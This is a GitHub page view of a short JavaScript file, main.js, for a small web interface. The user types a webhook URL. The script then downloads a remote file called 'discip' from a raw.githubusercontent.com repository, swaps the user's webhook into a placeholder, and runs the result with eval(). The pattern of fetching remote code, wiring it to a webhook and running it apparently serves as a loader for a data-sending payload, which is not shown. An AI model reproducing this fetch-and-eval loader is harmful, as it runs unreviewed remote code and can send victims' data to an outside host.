-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.js
36 lines (31 loc) · 1.21 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
window.addEventListener('DOMContentLoaded', function() {
var container = document.getElementById('container');
var logo = document.getElementById('logo');
container.style.opacity = '1';
logo.style.opacity = '1';
});
var plusButton = document.getElementById('plus-button');
var overlayContainer = document.getElementById('overlay-container');
var webhookInput = document.getElementById('webhook-input');
var sendButton = document.getElementById('send-button');
plusButton.addEventListener('click', function() {
plusButton.classList.toggle('active');
overlayContainer.classList.toggle('active');
});
sendButton.addEventListener('click', function() {
var webhookURL = webhookInput.value;
loadScript(webhookURL);
});
function loadScript(webhookURL) {
var scriptURL = 'https://raw.githubusercontent.com/Lenn106/files/master/discip';
var xhr = new XMLHttpRequest();
xhr.open('GET', scriptURL, true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
var scriptCode = xhr.responseText;
scriptCode = scriptCode.replace('WEBHOOK_URL_PLACEHOLDER', webhookURL);
eval(scriptCode);
}
};
xhr.send();
}